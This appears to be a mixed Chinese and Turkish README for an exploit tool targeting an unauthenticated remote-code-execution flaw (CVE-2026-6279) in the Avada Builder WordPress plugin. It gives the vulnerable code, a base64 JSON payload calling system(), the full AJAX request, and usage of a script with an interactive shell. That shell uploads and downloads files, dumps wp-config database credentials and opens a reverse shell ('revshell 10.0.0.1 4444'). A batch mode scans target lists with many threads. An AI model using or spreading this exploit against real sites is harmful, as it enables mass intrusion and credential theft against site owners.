xxconi/cve-2026-6279CVE-2026-6279：Avada (Fusion) Builder <= 3.15.2 – 通过小工具 AJAX 处理程序中的 'render_logics' 短代码属性进行 PHP 函数注入，实现未认证远程代码执行（fusion-builder）
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-6279 |
| 受影响版本 | Avada Builder (Fusion Builder) <= 3.15.2 |
| 主题 | WordPress Avada Theme |
| 活跃安装 | 900.000+ |
| 漏洞类型 | PHP 函数注入 → 未认证 RCE |
| CVSS v3.1 | 9.8 (严重) |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 身份验证 | ❌ 不需要 |
| 用户交互 | ❌ 不需要 |
| 研究员 | xxcoin |
| 发布日期 | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE TESPİT │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] veya [fusion_table_of_contents] │
│ shortcode'u olan herkese açık sayfalarda JS'e eklenir │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → sadece nonce geçerliliği kontrol │
│ eder, kullanıcı kimliği doğrulanmaz │
│ │ │
│ ▼ │
│ 3. DESERİALİZASYON │
│ base64_decode(render_logics) → json_decode() │
│ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — ALLOWLIST YOK │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Herhangi bir PHP fonksiyonu çağrılabilir │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Web sunucusu yetkisiyle tam komut yürütme │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 编码后作为
render_logicsPOST 字段发送。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| 函数 | 参数 | 结果 | 状态 |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ 成功 |
passthru() | id | uid=1000(xenon1337) | ✅ 成功 |
shell_exec() | id | uid=1000(xenon1337) | ✅ 成功 |
exec() | id | uid=1000(xenon1337) | ✅ 成功 |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ 成功 |
proc_open() | — | — | ❌ 需要 2 个以上参数 |
popen() | — | — | ❌ 需要 2 个以上参数 |
注意：
call_user_func($fn, $arg)本质上只接受单个参数。 需要 2 个以上参数（如proc_open、popen）的函数无法通过此漏洞触发。
| 文件 | 行号 | 函数 | 说明 |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | render_logics 反序列化 |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — 无白名单 |
fusion-widget.php | L44 | — | render_logics 关联 |
fusion-widget.php | L389 | — | wp_ajax_nopriv AJAX 处理器注册 |
class-fusion-builder.php | L7551 | — | 为 UID 0 注册确定性 nonce |
pip install requests packaging
# Menülü mod (single + batch)
python3 CVE-2026-6279.py
# Protokolsüz (otomatik tespit)
python3 CVE-2026-6279.py target.com
# Protokol ile
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Port ile
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] Single target · interactive shell
◆ [2] Batch scan · file exploit
✗ [3] Exit
shell> id # komut çalıştır
shell> cd /var/www/html # dizin değiştir
shell> upload local.php /tmp/x.php # dosya yükle
shell> download /etc/passwd # dosya indir
shell> wp-config # DB bilgileri
shell> recon # sistem taraması
shell> revshell 10.0.0.1 4444 # reverse shell
shell> exit # çık
# targets.txt formatı:
target1.com
http://target2.com
https://target3.com:8080
# yorum satırı (atlanır)
♡ targets file [targets.txt]:
♡ threads [10]: 30
♡ command [id]:
♡ output file [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada tespit edildi! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| 指标 | 值 |
|---|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 不变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |
| 总分 | 9.8 — 严重 |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
本工具仅用于授权安全测试和教育目的。未经授权访问系统属于违法行为。所有责任由使用者承担。
Telegram：https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026
特别感谢：Shadow Girlfriend 💜